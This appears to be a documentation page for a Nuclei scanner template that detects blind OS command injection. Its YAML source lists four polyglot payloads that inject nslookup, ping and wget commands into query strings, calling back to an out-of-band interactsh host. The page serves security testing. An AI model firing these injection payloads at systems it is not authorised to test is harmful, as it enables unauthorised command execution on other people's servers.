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Blind OS Command Injection

ID: cmdi-blind-oast-polyglot

Severity: high

Author: pdteam,geeknik

Tags: cmdi,oast,dast,blind,polyglot

Description

Section titled “Description”

Potential blind OS command injection vulnerabilities, where the application constructs OS commands using unsanitized user input.Successful exploitation could lead to arbitrary command execution on the system.

YAML Source

Section titled “YAML Source”
id: cmdi-blind-oast-polyglot


info:
  name: Blind OS Command Injection
  author: pdteam,geeknik
  severity: high
  description: |
    Potential blind OS command injection vulnerabilities, where the application constructs OS commands using unsanitized user input.
    Successful exploitation could lead to arbitrary command execution on the system.
  reference:
    - https://portswigger.net/research/hunting-asynchronous-vulnerabilities
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
  metadata:
    max-request: 4
  tags: cmdi,oast,dast,blind,polyglot


variables:
  marker: "{{interactsh-url}}"


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    payloads:
      payload:
        - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
        - "1;nslookup${IFS}{{marker}};#${IFS}';nslookup${IFS}{{marker}};#${IFS}\";nslookup${IFS}{{marker}};#${IFS}"
        - "/*$(nslookup {{marker}})`nslookup {{marker}}``*/-nslookup({{marker}})-'/*$(nslookup {{marker}})`nslookup {{marker}}` #*/-nslookup({{marker}})||'\"||nslookup({{marker}})||\"/*`*/"
        - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"


    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{payload}}"


    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 490a0046304402202419d4ba5f4fd3416fe79458763767d93bf1ef5d7d4c6965bf8e45e7c6cbd841022019c41483c2c7a9df4ff398b7c51adf43b795237a5c14ebd46af70e61e6e4ece3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/cmdi/blind-oast-polyglots.yaml"

View on Github